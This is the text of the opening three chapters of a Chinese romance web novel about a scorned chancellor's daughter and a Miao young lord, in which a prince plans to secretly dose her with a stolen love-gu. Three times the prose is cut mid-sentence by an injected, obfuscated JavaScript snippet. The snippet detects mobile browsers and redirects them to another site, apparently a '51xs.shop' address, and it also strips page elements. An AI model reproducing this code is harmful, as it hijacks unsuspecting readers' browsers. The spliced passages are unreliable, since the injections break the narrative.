《误服苗疆少主的合欢蛊后》 1. 第 1 章 京城春天总是来得晚一些,正值三月头,绵绵细雨落了好几日,相府花园里的桃花才堪堪开了几朵,绿肥红瘦,可怜兮兮的挂在枝头,惹人爱怜。 桃树前,一名秀丽清瘦少女蹙着芙蓉眉,神情恹恹,杏眸怜惜的望着那几枝桃花,眸中渐渐如烟波江上愁云起,蕴染一层雾气,低声喃喃自语,“相府的桃花真可怜。” 少女正是相府嫡女沈悠然,她用完早饭见絮雨初歇,带着两名贴身丫鬟绿杨和红杏来花园赏桃花,只是花朵疏淡,不由想到往日居住庄子里的那片桃林,这个时候桃花早已开得艳极了,嬷嬷会带着她去采桃花酿桃花酒做桃花糕,笑着夸她的小悠然比桃花还要明艳,这桃花终究比不过那桃花。 一时之间也不知是触景伤情还是物伤其类,沈悠然心中酸涩,眼圈一红,不防眼泪顺着眼角滚落,她又慌又怕,忙用绣帕拭去,唯恐被人看到又闹到母亲耳中。 绿杨微不可察觉的叹了口气,眼中满满的心疼,“小姐又伤心了。” 红杏抬眸望着自家小姐,白兔毛镶边蓝色锦袄,同色芙蓉祥云百花褶裙,衬着一张未施脂粉的素白小脸越发显得清丽脱俗。 眨眨眼睛,她也心疼起自家小姐,自从她三个月前穿过来,刚好沈悠然被接回相府,她和绿杨被派去服侍小姐后,这又伤心了四个字从绿杨嘴中滚过,每日没有七遍也有八遍。 不过也难怪,她穿的这本书中,这位相府嫡女沈悠然是个炮灰,算不上女配,也就是比路人甲多一点戏份的炮灰,主要是用自身的懦弱木讷蠢笨粗鄙毫无才情,来衬托女主的温婉贤淑落落大方以及博学多才,一般在书里被称作对照组的那种,还是个不恶毒也毫无杀伤力的炮灰对照组。 沈悠然出生时候,相爷夫人难产大出血差点没命,本就对这个女儿厌恶,再加上一个算命的说这个女儿生来克母,于是毫不犹豫将还未满月的沈悠然送到庄子上,由奶嬷嬷抚养长大,及笄后,迫于快要议亲只能接回来。 相爷夫人哥嫂早逝,唯留一女顾秋巧,也就是书中女主,相爷夫人将她接到身边,如宝似玉的疼爱十多年,也许是女主光环,不仅相爷夫人,相爷以及沈悠然的两名嫡兄,皆对这位玲珑心窍蕙质兰心的表小姐爱护有加,远远大于数年未见的沈悠然。 红杏正心中感慨,见自家小姐纤长白皙的手指搭在一簇花枝上,细细打量,半晌唤道,“红杏,这一枝吧。” 她忙应了一声,上前握着剪刀,咔嚓一声,麻利的剪下花枝放在绿杨手持的美人瓶中,鼻尖对着花朵闻了又闻嗅了又嗅,颇有种不嗅出满枝花开决不罢休的劲头。 沈悠然见红杏如此做作,明白她是为了逗笑自己,她向来善良,自不愿红杏失望,微微抿唇挤出丝笑容,“时辰快到了,去正和院吧。” 她每日早上要去正院给父亲和母亲请安,按照相府规矩,原本是请安后一起用早饭,只是相爷夫人不喜这个嫡女,让她在自己院中单独用饭,用完再去请安。 沈悠然三人去了正和院,院门口守着两名老嬷嬷,见到沈悠然,粗粗行了个礼,神情懈怠,压根不把这位不受宠的嫡女放在眼里。 沈悠然早已习惯相府众人的捧高踩低,她性格怯懦,毫不动气,只是嗫嚅问道,“父亲和母亲可用完早饭?” “相爷和相爷夫人已用罢早饭,大小姐快进去吧。”一名老嬷嬷随意回了句。 沈悠然嗯了一声,吩咐绿杨和红杏在门口等着,她将美人瓶抱在怀里,往正堂而去。 沈相今日下朝早,和夫人顾氏以及侄女顾秋巧一起早早用完饭,顾秋巧提及自己昨晚见春风春雨有感,写了一首苏幕遮,还请姑父和姑母帮自己看看。 沈相本是三元及第,对诗词造诣颇深,顾氏也是书香门第,两人见这首苏幕遮对仗工整,意蕴无穷,不由啧啧称奇,因而沈悠然进来跪拜请安,两人只是淡淡说了句起来吧,继续和顾秋巧说着这首苏幕遮的优点和不足之处。 沈悠然垂眸静静立在一旁,听着母亲嘴中的评论之语,心中对表姐的才华十分钦佩,父亲和母亲并未给她请过先生,好在庄子后面有个书院,书院里的一位老秀才受过嬷嬷帮助,教她念过几年书,勉强识得几个字。 顾夫人终于发现沈悠然并未离开,她对这个亲生女儿并不喜欢,甚至有几分淡淡的厌恶,不由皱了皱眉,“还有何事?” 沈悠然将怀中的美人瓶放在桌上,恭恭敬敬道,“母亲,院中桃花开了,悠然摘了几枝孝敬母亲。” 沈相见美人瓶中插了几枝含苞欲放的桃花,还有几株细长的兰花草衬托,倒也好看,难得笑了笑,“倒是别致。” 沈悠然受到父亲鼓励,鼓足勇气从怀里取出一个香囊,“父亲,这几日潮湿阴冷,悠然担心父亲的头风症发作,用月见草、山丹、酸枣和柏子仁做了这个香囊,有安神醒脑之用。” 沈相接过香囊,塞到怀里,微微颔首道,“你有心了。” 顾夫人望向沈悠然,见她神情拘谨,小心翼翼的模样让她越发生厌,正想呵斥她出去,忽然想到今晚的宫宴,对于京城中名门望族来说,宫宴其实就是联姻纽带,世家主母们会带府中需要议亲的嫡出姑娘去参加,互相相看。 轻哼一声,“今晚宫中有个宴会,你和秋巧准备下,一起去。” “是,母亲。”两人齐齐回道。 “悠然,你先出去吧,母亲和你表姐还有话要讲。” 沈悠然道个万福后走出屋外,屋内传来顾夫人鄙夷的声音,“琴棋书画,诗词歌赋,样样不会,只会弄些上不的台面的东西。” 顾秋巧温柔似水的声音响起,“姑母,别生气了,表妹也是一番孝心。” 沈相轻叹一声,“罢了,夫人还是教她些管家能力,不管如何以后嫁入高门,不能丢了相府颜面。” “我就说当日不要接她回来,哪里及得上秋巧半分。” “夫人,毕竟是你我的嫡女,一直住在庄子里,早晚要落人口舌。” 沈悠然用力咬了咬唇,将心中的酸涩混着即将汹涌而出的眼泪一起压了下去,早就习惯了不是吗?母亲说的也是事实,她不好看不聪明又不善言辞,不会琴棋书画也不会诗词歌赋,她让母亲失望了,都是她的错。 沈悠然走到院外,绿杨和红杏迎了上来,“小姐。”沈悠然忙拭去眼角的泪痕,唇畔浮起一抹清笑,“我们走吧。” 三人回到自己的院子,沈悠然和两人说起今晚的宫宴,绿杨是相府的家生子,消息来源也比旁人多,忙道,“早上去厨房取饭的时候,听大管家说,前几日苗疆少主来京城朝拜皇帝,向皇帝敬献苗疆至宝,今个宫宴就是为了款待这位苗疆少主。” 沈悠然神色有些黯然,“表哥也会去的吧,不知他有没有收到护身符?身体有没有好些?” 红杏见她这般,心中更加怜悯,沈悠然口中的表哥是当朝七皇子盛长临,其母沈贵妃是沈相的远房表妹。 沈悠然刚来京城时候,在某次相府举办的赏花宴上被盛长临解围过,从此以后将他视作唯一的救赎,将自己低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042682|148934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到尘埃里,开始卑微又无望的暗恋,自幼缺爱的姑娘大抵都是这般,只是盛长临对女主顾秋巧一见倾心再见倾情,因而对沈悠然卑微的示好视为死缠烂打,厌恶至极。 “小姐,七皇子应该收到了,他若是知道小姐担心他的病情,在白云寺跪了一天一夜求得护身符,定会感激万分。” “不是为了他的感激,只要表哥身体痊愈就好。”沈悠然苍白的脸上浮起一抹红晕。 红杏默然,对照组炮灰开局已经够可怕了,对照组炮灰还是个恋爱脑,简直就是地狱模式开局。 用过午饭,绿杨为沈悠然梳洗打扮一番,换上蓝色宫装式样的长裙,挽了个双环望仙髻,斜斜插了一枚海棠流苏簪,未施脂粉,只简单涂了胭脂色口脂,越发显得肌肤如玉明眸皓齿。 红杏叹道,“小姐真好看。” 沈悠然局促不安的拉了拉长长的裙裾,眼中闪过一抹伤感很快垂下眸,“我一点都不好看。” 行吧,自幼缺爱回来后又被相爷夫人和表小姐不停打击和皮尤爱的姑娘,是这样的。 眼见时辰快到了,相府马车停在后门处,沈悠然上了马车,并未见到母亲,马车里是表姐顾秋巧和她的两个庶姐,皆是打扮华贵,尤其是顾秋巧,一袭绯色长裙,袖边和领边用白色狐毛镶边,秀发用八宝琉璃钗挽成高高的随云髻,带着一朵镶金边芍药花,端丽大方秀外慧中。 “表姐,大姐,二姐。”沈悠然轻轻唤了一声,而后小心翼翼坐在马车角落,两位庶姐唤了一声三妹妹,顾秋巧点点头表示打招呼。 原来顾夫人和沈贵妃约好见面,提前入宫,她临行前想到家中还有两名已经及笄的姑娘,虽说是庶女,但相府的庶女自然也比一般府中的嫡女门第高,若能被高门看中聘为正妻,也能为相府带来助力,便告知两人一起入宫。 一路无言,马车很快到了皇宫侧门,宫门外早已等候着小太监和嬷嬷们,引着各家姑娘去了御花园,御花园里早已摆好了宫宴,早到的贵女正三三两两结伴在水榭畔的梅林中漫步,各自和各自相熟的热络聊着天,一时之间,掎裳连袂,珠围翠绕,端得比四周盛开的梅花还要娇俏上三分。 顾秋巧是京城出名的大家闺秀,因而一到御花园,就被各家贵女拉到圈子里,对比不仅毫无名气还是贵女们私下议论嘲讽的沈悠然,悄悄躲在水榭柱子旁,耳边传来贵女们的窃窃私语,什么举止粗俗,什么毫无才华,她神色窘迫,只能用力咬唇忍住眼泪。 好在不远处传来一声尖细的通传,“太子殿下到,七王爷到,苗疆少主到。” 众人立刻停止谈话,御花园中顷刻间寂静无声,一行人从长廊尽头缓步而来,为首一人身穿用金丝绣着如意云纹的紫色袍子,华贵不凡,正是太子。 太子身旁一名少年,不过弱冠年纪,身量极高,一袭玄色暗金锦衣,腰间束着缕空雕花宽银带,越发显得宽肩窄腰,鸦发用银环高高束起,骨相生的立体而硬朗,五官昳丽精致,一双狭长乌黑的凤眸清如天边月冷若岭上霜。 和京城那些文弱秀气的贵公子们不同,少年身姿挺拔有力,气质冷漠拒人千里之外又混着令人脸红心跳的莫名诱惑,像一朵浓艳诱人的致命毒花,让人明知要逃走却忍不住想要靠近采撷。 在场的贵女们看得怔住,很快又意识到身为贵女不该这般肆无忌惮盯着一名男子,忙眼观鼻鼻观心,一副大家闺秀端庄矜持的做派。 心中却不约而同幻想起来,若是褪去他的衣衫,那玄衣下的不知是何种模样? 2. 第 2 章 御花园中的贵女们脑中想着胆大心思,目光却装作不经意般偷偷摸摸遮遮掩掩在少年身上瞄来瞄去,立在沈悠然身边的顾秋巧也不能免俗,唯有沈悠然的目光,在少年脸上不过停留片刻,而后越过少年落在他身后的七皇子盛长临上。 她的眼中只有心心念念一人,那人一袭墨绿锦衣,衣上绣着朵朵盛开兰花,修眉凤眼丰神如玉,顿时一颗心怦怦乱跳起来。 一行人沿着长廊缓步而行,太子时不时撇过脸和身边的苗疆少主聊上几句,少主偶尔回上一句,大多时候点头示意赞同。 经过水榭畔梅林的时候,贵女们齐齐行礼,“见过太子殿下,见过七王爷,见过少主。” 太子挥了挥手,示意众人不必多礼,沈悠然的目光在盛长临脸上偷偷徘徊,心中默念表哥,盛长临经过她的身边,连半个眼神也未给到她,只是望着顾秋巧,微微一笑。 顾秋巧脸一红,朱唇微抿,唇边一个小小的梨涡隐约跳跃,愈加明艳照人,盛长临眼神一亮,笑意不禁加深,两人之间郎情妾意春波暗涌。 沈悠然黯然神伤,怯怯收回目光,不敢再看盛长临,好在太子带着一行人已到了长廊另一边,宫宴上男女分席而坐,太子、苗疆少主以及七皇子坐在水榭正座,男子席位和女子席位分在水榭两边。 太子落座后,摆摆手示意众人落座,太监和宫女们穿梭其间,为客人们倒酒和布菜,众人举杯先是敬太子,而后敬少主,先还有些拘束,太子是个平易近人的,苗疆少主是个外来户又是个不声不响的,也就开怀畅饮起来。 大家也算宫宴上的老捧场,宫宴的山珍海味向来中看不中看,随意品尝几口即可,唯有宫中御酒决不可错过,这御酒是良酝署使用上等原料专门酿造,品质极高,尤其是今日的是富水春,御酒中的佳品,初入口清甜甘爽,口味绵长,后劲十足。 太子举杯邀少主连饮了三杯,笑着道,“少主好酒量,再来一杯。” 苗疆少主忙道:“多谢殿下,殿下酒量姜朝甘拜下风,敬殿下一杯。” 太子命人为姜朝斟满,眉眼含笑,“少主一路辛苦,父皇今日设宴招待少主,可惜国事繁忙,只能命本宫代为招待,少主莫要介怀。” 姜朝按照大盛朝的规矩拱手行礼,“皇上礼待苗疆,姜朝多谢皇上和太子。” 太子见他虽说敦默寡言,但言行举止有度,谈吐大方,不像化外之地蛮夷野蛮无知,不由高看几分,“少主带来苗疆圣品和仙草为父皇炼制圣药,父皇下旨,这些时日少主就住在宫中的太医院,太医院所需药材一应俱全,少主也不必在驿馆和太医院来回奔波。” “多谢皇上,姜朝领旨谢恩。” 姜朝平日里并不爱饮酒,只是宫宴上众人邀酒无法拒绝,且这酒和苗疆平日里的烈酒并不一样,清甜爽口如果子酒,也未放在心上,不由多喝几杯,万万没想到这富水春后劲十足,一时头晕目眩,随身并未携带解酒丸,只能借口更衣去园中吹吹风醒醒酒。 盛长临陪在太子下位,一半注意在太子和姜朝身上,另一半早就飘到顾秋巧那桌,顾夫人并未和顾秋巧几人坐在一桌,顾秋巧和表妹以及相府两名庶女坐在一起,她似乎和表妹说了什么,原本像鹌鹑一样瑟瑟缩缩的表妹越发像只鹌鹑,忍不住皱了皱眉。 他这个表妹愚钝蠢笨又木讷,说话做事不中听也不中看,可别冒犯了秋巧,他对顾秋巧十分喜欢,也更偏向她。 见姜朝离开,太子和身旁人说着话,借故离开去了顾秋巧那边,身边跟着他的至交好友,看热闹不嫌事大的威远侯府的小侯爷。 顾秋巧见盛长临过来,心中一喜,面上却做出不知所措的模样,果然盛长临浓眉拧作一团,“秋巧表妹,这是怎么了?” 顾秋巧黑白分明的眸中笼上一层水雾,将白皙如玉的小手摊开,手上赫然是一枚护身符,泫然欲泣道,“表哥,刚才秋巧正好说起前几日身体不舒服,表哥命人来相府探望秋巧,送给秋巧一枚白云寺求来的护身符,秋巧才能这么快痊愈,秋巧十分感激表哥,可是表妹不太开心,是不是秋巧说错话了?” 盛长临此时才看清那枚护身符,似乎是沈悠然送给自己的那枚,是他疏忽了,但那又如何,既然送给他了,就是他的护身符,他想给谁就给谁,悠然如今怎么变得这么小气。 脸色一沉道,“悠然,这是本王送给秋巧的,她并不知道是你在白云寺所求,你不要为难她。” 同桌两名相府庶女心里呵呵,这些后宅手段可算是被这位表小姐玩得明明白白,她能不知护身符是悠然所求?悠然在白云寺跪了一天一夜,回府还被嫡母责罚跪祠堂三个时辰,就连她们都知道,天天抱着嫡母大腿的表小姐会不知道? 只是明哲保身,两人自然不会多嘴,表小姐是相府团宠,纵然她们对沈悠然万分同情,也只能缄默。 沈悠然听到表哥责怪,又见他望向表姐的眼神温柔至极,心中一痛,眼睛酸涩的厉害,她不想在盛长临面前落泪,用力咬唇将眼泪憋了回去,勉强笑道,“嗯,表哥放心,我……我头有些晕,离开一会。” 她起身快速离开,沿着水榭畔往御花园的角子亭而去,脚步踉跄奔到角子亭,月上中天流光如霜,四周空无一人,唯有石灯笼的光映照着朦胧阴影,笼罩全身浸骨寒冷。 沈悠然再也忍不住,瘫坐在地抱膝哭起来,她并不敢大声,只是低声啜泣,越哭越委屈,她并没有为难表姐,她根本不会,为什么不管母亲还是表哥,都会认为她心肠歹毒,明明她根本就不是。 一道黑影从亭檐上翻下,静静落在沈悠然面前,皱着眉望向她,眼神清冷含着不耐,“让你。” 沈悠然的哭泣声哽在喉中,突如其然的惊吓让她止不住打了个哭嗝,胡乱抹去眼泪,连忙起身,眼前这人是那个苗疆少主。 她吓得噤若寒蝉,杏眸瞪得大大的,张嘴又想哭起来,却发现眼前的少年脸颊带着不正常的红晕,眉头紧锁,似乎很不舒服的样子,周围蕴绕着淡淡的酒味。 沈悠然居住的庄子后山有一座药庐,好巧不巧,里面居住的是一位宫里退休的老太医,与她投缘,教习她医术,因而一眼看出眼前的少年怕是酒意上涌,引发头痛之症。 忙从怀里取出一个小瓷瓶,倒出一枚黑色药丸,“少主,这是醒酒安神丸。” 姜朝头痛的厉害,接过药丸在鼻尖轻嗅,他擅长药理,果然是醒酒安神,也不推辞,放在嘴中咽了下去,果然不过一盏茶就舒服许多,头痛症状也渐渐消下去。 苗疆人向来率直有恩报恩有仇报仇,姜朝也不例外,“多谢,欠你个人情,需要什么?”言简意赅不带丝毫感情。 沈悠然惊得又打了个惊嗝,不知为何,在这位高冷少主面前,她害怕的一句话也说不出。 姜朝见眼前少女半晌不说话,心中更是不耐烦,能参加宫宴说明非富即贵,应该不会为了五斗米哭泣,看来就是为了无病呻吟的情情爱爱,他所见的苗疆少女皆是敢爱敢恨,追求一个不成再换两个,两条腿的蛊虫不好找,两条腿的男人到处都是。 当然像他这种没有。 苗疆人向来直爽,不会拐弯抹角,询问道,“心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042683|148934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上人不喜欢你?” 沈悠然闻言俏脸通红,耳朵根都在发热,更不敢说话,只是垂着头不发一语。 见少女不说话,姜朝觉得自己应该猜到了,“这好办。” 沈悠然对这个冷傲少年不知为何有种莫名的信任,闻言抬起头,好奇的望着他。 姜朝沉吟片刻,“苗疆有一种情蛊,服下之后不能离开你三尺之外,否则全身血管爆裂而亡。” 沈悠然吓得浑身直冒冷汗,结结巴巴道,“不……不……” 姜朝认真思索着,“那要么我送你一条金蛇,咬上一口会变成白痴,你让往东不会往西,这个如何?” 沈悠然觉得这位少主是不是在说笑,但见他神情淡漠眼神冷峭,这不是在开玩笑,而是他真的想这么做。 她吓得连连后退几步,“不不,没事,不用少主帮,我先走了。” “等一下。”姜朝语气淡淡阻止。 沈悠然觉得自己要崩溃了,带着哭音道,“少主,我不要情蛊也不要金蛇。” “要也不给,我是想说亭上还有一人。” 话音刚落,一名身穿宫中侍卫服的俊秀少年翻身落下,满脸尴尬,恨不能用脚挖个地缝钻下去。 他藏在亭尖上的小阁里也会被发现,还听到这么劲爆又令人无语的话,“御前侍卫时济见过少主。” 姜朝嗯了一声,“他不会说出去。” 时济头点的像是捣蒜,少主看来挺了解侍卫们,估摸着苗疆王庭也这样,他们这些侍卫只管皇帝和皇室中人的安危,其他什么吐槽暗骂对骂不在他们管辖范围,论迹不论心,面子上过得去就好,再说了,骂皇帝昏君的人那么多,谁管的过来? 沈悠然已经崩溃的心迅速回笼,见时济一脸不关我事我管不着,今晚夜色太黑月亮太暗雷电太响,什么都没看见没听到,一颗心终于稍微安定下来。 又见那位苗疆少主手一抬,她的手中多了一个小玉瓶,“谢礼,解百毒。” 姜朝早已转身回到宫宴,时济也翻身跳上了亭檐,沈悠然深吸一口气,在这番刺激下,刚才的自怨自艾早已抛到九霄云外,只想快些逃离这里。 她不愿再去宫宴,去了御花园找个小太监引她出了宫门,去相府马车旁候着,守在马车旁的红杏见小姐一人出来,担心的问道,“小姐,您没事吧。” 见沈悠然摇摇头,脸色苍白毫无血色,连忙搀扶着她上了马车,又为她倒了杯热茶,沈悠然双手哆嗦着捧着热茶,借着茶盏的温暖,才慢慢平静下来。 不一会,顾夫人带着顾秋巧三人出来,不出所料,顾夫人沉着脸将沈悠然骂了一顿,说她胆小懦弱,成不了大事,这么好的相看机会都没把握,难不成心比天高想嫁入皇家? 不提相府马车离开皇宫,且说盛长临见沈悠然为难自己心上人,十分恼怒,想要训斥沈悠然几句,没想到宴会结束还未见到这个表妹,更是恼火。 偏生一边的小侯爷还在冷嘲热讽,“我说王爷啊,你那个小表妹虽说木讷又愚笨,不过似乎对你一往情深,可别缠上你了。” 盛长临眉宇间带着厌恶,“闭嘴。” 小侯爷继续道,“我看啊,要是她喜欢上别人,才能不再纠缠你。” 盛长临心中一动,“如何才能喜欢上别人?” 小侯爷耸耸肩,漫不经心道,“这我可不知道,我是正经人。”眼珠一转,抬起下巴对着不远处的苗疆少主点了点,“那些蛮夷之地来的人,也许有歪门邪道。” 言者无心听者有意,盛长临眼神一亮,苗疆蛊术? 3. 第 3 章 盛长临府中有个老嬷嬷,年轻的时候处过一个情郎,是位苗疆少年,两人浓情蜜意恨不能拧成一团麻花时,苗疆少年和她提过苗疆的一些秘术,其中就包括蛊,只是从不曾见他用过,老嬷嬷也问过什么是蛊,想见识一下,少年笑而不答,只是搂紧她温柔的亲了亲。 盛长临心中琢磨,蛊术一说绝对不是空穴来风,苗疆应该是有蛊,只是可能有老祖宗的规矩约束,不能在外人面前显露,当然这玩意除了苗疆人谁也不懂,就算人家偷用,中招了也查不出,中了个寂寞。 见太子正和苗疆少主说着什么,盛长临装作不经意般,上前听了几句,原来太子见天色已晚,又见少主微醺,让他在东宫留宿一晚,少主不便推辞,应了下来。 盛长临原想着也去东宫让太子收留一晚,趁此机会侧面和少主打探下蛊术,转念又一想,既然是苗疆之王,应该更重祖宗规矩,即使自己询问怕也问不出什么子丑寅卯,忽的灵光一现,少主身边似乎带了两名少年随从,看上去就年少不更事,也许能从中的得到什么有用的消息。 他忙唤过身边贴身小太监四喜,附耳吩咐几句,四喜向来机灵,立刻明白王爷的意思,领命而去。 四喜去御膳房要了几样菜肴装在提盒中,又要了一坛上等富水春,去找少主随从。 那两名随从因少主去了东宫,两人不便跟随,在偏殿中歇下,见到一名唇红齿白的小太监带着美酒佳肴说是太子殿下见他们辛苦,送来犒赏。 苗疆人淳朴,那两名随从毫无怀疑,忙请四喜进来,两人久居苗疆,何时见过这般精致菜肴和御酒,兴奋之余请四喜一起喝酒,正中他的下怀。 四喜十分伶俐,夹菜敬酒,甜言蜜语不要银子般张口就来,将服侍七皇子那套一一使出,不一会,三人混成生死之交,那两名随从阿平阿安,恨不能当场对着更疆盟誓,和四喜结为异父异母的兄弟。 眼见两人喝得醉醺醺,四喜趁机询问道,“听说苗疆有蛊术啊?” 两人闻言眨眨眼睛,面面相觑,放下手中杯盏,“这……” 四喜见两人还有些戒备,笑着挑唆道,“宫里一名侍卫说的,我才不信,哪有这么神奇的?” 阿平不服气道,“确实有蛊术,只是不是所有人都会蛊术,只有皇族的人、祭司、圣女还有某些古老家族才会。”而后满脸自豪道,“我家少主是苗疆蛊术最厉害的人,就连大祭司都自愧不如。” 四喜嘴角抽了抽,这就把你们家少主卖了,有你是少主的福气,好奇问道,“那有没有什么蛊术能让不喜欢的人喜欢自己呢?” 阿安想了想道,“有一种情蛊,服下之后不能离开喜欢的人三尺之外,否则全身血管爆裂而亡。” 四喜吓了一跳,那表小姐不是更有理由缠着王爷?“还有呢?” “金蛇蛊,咬上一口会变成白痴,谁都喜欢,这个如何?” 四喜连忙摆手,表小姐要是变成白痴还缠着王爷,王爷岂不是更没面子?“还有呢?” 阿平此时酒意上涌,脑中昏昏沉沉,毫无顾忌道,“还有一种合欢蛊,是我家少主用自己心头血喂养的灵蛊,听说服用之人,会喜欢自己第一眼看到的人。” 四喜暗暗一拍大腿,就这个了,一脸神往道,“这般神奇啊,真想亲眼看看。” 阿平和阿安头摇得如拨浪鼓,“这可不行,合欢蛊还未养大,少主说这蛊性子未定,他平日都是随身携带,如今进宫不方便带,才藏在驿馆里。” 四喜眼珠一转,幽幽叹口气,“我有个宫中好友,最喜欢看这稀奇之物,之前他曾说过,若是他能看到天下最稀奇之物,他就给一百两……” 阿平阿安瞪大眼睛,眼中闪过一抹惊讶,“一百两银子?” 天,这在他们苗疆可以一家人买一个大大的竹楼,然后一辈子衣食无忧。 四喜摇摇头,“不,是一人一百两金子。” 阿平阿安张大嘴巴,半晌说不出一句话,两人你看看我我看看你,偷偷去了角落里商量起来,一百两金子,这在他们想都不敢想,只是少主平日里的狠辣让他们犹豫起来,很快,人为财死鸟为食亡的想法占了上风,不过看一看罢了,也不会有什么损失,少主不会知道,他们还会得一百两金子,阿爹阿娘就会过上好日子。 “少主明日会在太医院炼药不回驿馆,正午时分,你带你兄弟来,给你们看合欢蛊。” “好,一言为定。” 四喜回到王府,立刻向七皇子禀告自己探听到的消息,盛长临神色讶然,“合欢蛊?” “是,王爷,中蛊之人会喜欢上第一眼见到的男子。”四喜笃定道。 “原来真有这般神奇的蛊。” 盛长临起身在房间里踱步,心中纠结起来,沈悠然虽说烦人,但不管如何是他的表妹,他这么做是不是有些过分? 又想到顾秋巧,他那个明艳照人聪颖灵动的心上人,想到今天宫宴上秋巧的委屈,秋巧的泪水,沈悠然的纠缠定然会让秋巧疏远自己,心肠顿时硬起来,把这些纠结抛在脑后,最多帮表妹找个家世相当的可靠之人,也算对得起她。 “好,你明日多带银票,务必要神不知鬼不觉把合欢蛊弄到手。” “是,王爷。” 第二日,盛长临下朝后就等在书房,为怕出意外,他命人偷偷去打听少主的去向,得知他一直在太医院炼制丹药,一颗心定了一半。 很快四喜回来了,脸涨得通红,兴奋地从怀中取出一个小巧玲珑的琉璃瓶,瓶中装满透明液体,液体中沉睡着一个小小的虫子,米粒大小,细细打量起来,浑身闪烁着七彩的光芒,十分奇异。 “这就是合欢蛊?”盛长临疑惑地问道。 “是,王爷。”四喜将琉璃瓶递给王爷,“奴婢给了那两人金子后,趁机让他们为奴婢讲了这合欢蛊的用法,奴婢让几名王府暗卫藏在驿馆,看清楚合欢蛊藏在哪里,等奴婢和那两人走后,将合欢蛊偷了出来。” 盛长临微微颔首,“做得很好,本王重重有赏,一会去管家处领赏。” “谢王爷,对了,王爷,奴婢打探过,这个合欢蛊要用酒和糯米混合着服下,才有效果。” “好,此事不许对任何人提及,下去吧。” 四喜退下后,盛长临将合欢蛊放在桌上,想着如何能让沈悠然不知不觉服下,又去哪里找一个合适的男子,让她第一眼醒来就看到。 踌躇良久,忽而想到沈悠然在白云寺求得那道护身符,白云寺是皇家寺庙,平日里香火旺盛,皇室中人和达官贵族的家眷,时常去寺中敬香祈福,白云寺有香客借宿的地方,香客们留上几天常有的事情。 不如去和舅父舅母说一声,就说为了母妃祈福,自己要去白云寺进香,正好可以带两位表妹一起去散散心,住上个三五日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042684|148934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不愁没有机会将合欢蛊给沈悠然偷偷喂下。 只是这合适男子难选,要么从宫中侍卫或者羽林军中选一个品貌端庄家境相当之人,想到这里吩咐门外守着的小太监道,“去唤时济来见本王。” 时济是他王府中的侍卫统领,这几日因着宫宴被太子借调到宫中暂时充作御前侍卫。 不一会,时济匆匆赶来,“时济见过王爷,王爷您有何吩咐?” 盛长临正想询问御前侍卫和羽林军中可有品貌端庄并未婚配的少年,忽然眼前一亮,还询问什么,这不是现成的人选。 时济是辅国将军的嫡子,出身名门,相貌俊秀文武双全,人品更是知根知底,如今在自己王府做侍卫统领,不过是历练,将来是要承袭辅国将军,刚刚及冠还未议亲,相府嫡女和将军府嫡子,天造地设的一对。 眼珠一转,不如先见上一面联络下感情,清咳一声,“时济啊,本王明个要去白云寺进香,为母妃祈福。” 时济心中暗道,这么突然吗?面上却是不显,“王爷,属下一定带领侍卫们做好沿途守护。” 盛长临点点头,“你办事,本王一贯放心,对了,本王要带两位表妹一起去白云寺,就是相府嫡女和表小姐两人。” 时济虽说并未见过王爷的两位表妹,但王府八卦嘛,他也听了不少,王爷喜欢相府表小姐,此去白云寺路程虽短,但若是有表小姐一起说说话,可以更短,至于另一位表妹,估摸就是陪议,陪在两人身边让人对孤男寡女不至于非议。 “是,属下一定会命人保护好两位表小姐。” 盛长临嗯了一声,“这样吧,你和四喜去一趟相府,和相爷夫人说一声本王邀请两位表妹去白云寺,再将本王的一份书信交给表妹,是悠然表妹,记住,一定要亲手交给她。” 他将一张空白的白玉纸装模作样放在信封中,上面写着表妹沈悠然亲启,而后交给时济,已被卖丝毫不知还在帮忙数银子的时济,郑重接过书信,放在怀中,而后出了书房,叫上四喜,一起去了相府。 周夫人正在房中和贴身嬷嬷一起查看账本,听说七皇子命人来送信,忙请了进来,除了时常来跑腿的四喜,还有一个俊秀的少年侍卫。 “七皇子府侍卫统领时济见过相爷夫人。” 周夫人自然听说过时济的名字,只是从未见过,是个唇红齿白的美少年,难怪能排在京城主母们乘龙快婿榜上前列。 “不必多礼,王爷派你和四喜来,何事啊?”周夫人请两人坐下,命人奉茶,笑着问道。 时济将来意告知周夫人,周夫人自然答应,七皇子对秋巧的情意她看在眼里,亲上加亲是她乐见,只是沈悠然跟着去做什么?成事不足败事有余。 转念一想,大盛民风开放,未婚男女想约出行很常见,但毕竟是皇室中人,还是容易惹人闲话,若是悠然陪着秋巧,正好不过。 时济从怀里取出信函,“相爷夫人,王爷有一封书信要当面给到沈小姐。” 